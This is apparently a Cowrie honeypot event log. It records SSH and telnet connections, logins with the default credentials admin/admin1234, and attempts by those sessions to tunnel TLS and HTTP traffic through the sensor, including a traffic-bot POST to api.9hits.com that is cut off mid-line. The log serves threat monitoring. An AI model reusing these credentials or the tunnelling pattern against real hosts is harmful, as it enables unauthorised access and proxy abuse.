{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":52044,"dst_ip":"10.17.0.5","dst_port":23,"session":"d844eb237ba1","protocol":"telnet","message":"New connection: 94.23.66.112:52044 (10.17.0.5:23) [session: d844eb237ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:36.213889Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":55045,"dst_ip":"10.17.0.5","dst_port":22,"session":"e802452d42eb","protocol":"ssh","message":"New connection: 23.175.50.51:55045 (10.17.0.5:22) [session: e802452d42eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:43.207564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:43.512829Z","src_ip":"23.175.50.51","session":"e802452d42eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:43.516546Z","src_ip":"23.175.50.51","session":"e802452d42eb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:45.751823Z","src_ip":"23.175.50.51","session":"e802452d42eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:54.258130Z","session":"e802452d42eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:54.317221Z","src_ip":"23.175.50.51","session":"e802452d42eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03i\\xb6\\xb1\\x13\\xe0:\\xd7%\\x1a4j,\\x90\\x1b\\xa8\\xa8+L'K\\x1buU\\x1c\\xa1\\xe5\\x94\\x11\\xa21\\xf8\\xe3 C\\xb1\\x03\\x9b\\xf6{\\xbe\\x9f\\x96\\xea\\xd1\\xc4\\x08\\xb8\\xc1F\\xa6.s`\\xcc6\\xdd\\xdd\\xde\\x1d\\xe24\\xa8G^\\x10\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfa\\rM\\xdf\\x1b5\\x9cD\\x01y\\x80\\r\\xbc\\x82\\x00\\x19&DA{\\xa2\\x1b\\xe0\\xec\\xc6\\x06\\xf3\\xcd\\x02\\xdc\\xec9\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03i\\xb6\\xb1\\x13\\xe0:\\xd7%\\x1a4j,\\x90\\x1b\\xa8\\xa8+L'K\\x1buU\\x1c\\xa1\\xe5\\x94\\x11\\xa21\\xf8\\xe3 C\\xb1\\x03\\x9b\\xf6{\\xbe\\x9f\\x96\\xea\\xd1\\xc4\\x08\\xb8\\xc1F\\xa6.s`\\xcc6\\xdd\\xdd\\xde\\x1d\\xe24\\xa8G^\\x10\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfa\\rM\\xdf\\x1b5\\x9cD\\x01y\\x80\\r\\xbc\\x82\\x00\\x19&DA{\\xa2\\x1b\\xe0\\xec\\xc6\\x06\\xf3\\xcd\\x02\\xdc\\xec9\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:54.320343Z","src_ip":"23.175.50.51","session":"e802452d42eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:54.379075Z","session":"e802452d42eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:54.441858Z","src_ip":"23.175.50.51","session":"e802452d42eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03l\\xee\\xe5\\x06\\x1a\\xb9j\\xf4\\x95\\x0bQ;\\xf5AWp\\x0c\\x13F@e|\\xa4\\x97\\x1fV\\x87\\x85\\x15\\x90\\xec\\x8a \\x95\\x13\\xfa~\\xc2\\xa7\\xf6W\\xd4\"\\xdc\\xca\\xd2\\xf0:\\xb1\\xfd\\x06A\\\\\\xb0\\x16\\xf7\\xba\\xaf\\xee\\x99&\\xc8F\\x10\\xf8\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa1O\\x85\\x82?\\xea\\xa3 ?I\\x90H\\xd2P\\'+\\xed\\x1f-\\xed\\xddD\\x11\\x81\\x17\\xca\\xe4\\xfb\\x01\\xdb\\x81h\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03l\\xee\\xe5\\x06\\x1a\\xb9j\\xf4\\x95\\x0bQ;\\xf5AWp\\x0c\\x13F@e|\\xa4\\x97\\x1fV\\x87\\x85\\x15\\x90\\xec\\x8a \\x95\\x13\\xfa~\\xc2\\xa7\\xf6W\\xd4\"\\xdc\\xca\\xd2\\xf0:\\xb1\\xfd\\x06A\\\\\\xb0\\x16\\xf7\\xba\\xaf\\xee\\x99&\\xc8F\\x10\\xf8\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa1O\\x85\\x82?\\xea\\xa3 ?I\\x90H\\xd2P\\'+\\xed\\x1f-\\xed\\xddD\\x11\\x81\\x17\\xca\\xe4\\xfb\\x01\\xdb\\x81h\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:54.447534Z","src_ip":"23.175.50.51","session":"e802452d42eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:54.887516Z","session":"e802452d42eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":53367,"dst_ip":"10.17.0.5","dst_port":22,"session":"cda69ffef1fd","protocol":"ssh","message":"New connection: 123.27.168.40:53367 (10.17.0.5:22) [session: cda69ffef1fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:56.792192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:56.800800Z","src_ip":"123.27.168.40","session":"cda69ffef1fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:57.035911Z","src_ip":"123.27.168.40","session":"cda69ffef1fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.3","message":"Connection lost after 14.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:57.490409Z","src_ip":"23.175.50.51","session":"e802452d42eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":52918,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bc85cc1862e","protocol":"ssh","message":"New connection: 45.148.10.121:52918 (10.17.0.5:22) [session: 1bc85cc1862e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:57.868938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:57.873528Z","src_ip":"45.148.10.121","session":"1bc85cc1862e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:58.093178Z","src_ip":"123.27.168.40","session":"cda69ffef1fd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:58.436419Z","session":"cda69ffef1fd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:58.540492Z","session":"cda69ffef1fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:58.917562Z","src_ip":"45.148.10.121","session":"1bc85cc1862e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:58.951177Z","src_ip":"123.27.168.40","session":"cda69ffef1fd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VUpFMiNqSDBobVQxX3RrKg%3D%3DVs1YKjULoOc%2FZBS8RKmcpOd3RpAcadWU8RaPu7LlZy5e9QGQNypOMYvcDdF6VoBPbmduuU6DQLPJWD5du2p9PB4DKig%2BVpHVmUJeKDrRwoK5UbRumVtdu7nn3NOQXEcxkNqSQWqYgCGv3U8HBS61EsjF7aC3R2%2BXRlWqCTqs3NPi3LpY7JwRGsChQo7A9%2F1hcnzpqcqTj4%2FrdGIOcWgkO24b6EgLNMgXJbL5tMuHt5xCUJtXF7SZC9gcz8VjcpeYy6atWA9YcgLe4aQ9uHTG9WgGHrOOTg2ypvJ%2BX30lUPP1OFk1L%2FJlox0WUMNUuI9X6inOmscsE7sczTOGZyr1eQle6kpfCRG8nvUOTid36dkxfSOGTxQ1PNzc6RWCc6VYosAdAyC6R83k%2B2i%2Fp0nAmjuWUJ4mABPK4%2FmUiQhDKqfcdAu0gfn4q4nGaX%2FPhFzYLhg03WI1pleyEUob4ESQzMuKKlLGPJkG2ibgi1%2B4EmwZrC0iDldY8GLffLmWXUys9QurGJtJMt6pKXAJK6pmspAUxkykFggnOp3ZvkakEHcNHKjueIs%2Bnhv33pkyDd48HrnTYyJIyo20PpyrPQJETkBajT02g0h0Yb%2Flka%2B89KRSH3bW%2Blob884fEwYxoNtYnnox3TPozgmrkTlUIgYOtVxJfLsSTC76rnBEu3WzJomYPDAnO2xLRnH7YVyzGoLcvXqewXr0%2Fd5s2LCH38FZF0VMQn24WFZ8oyBvGJC5MMhx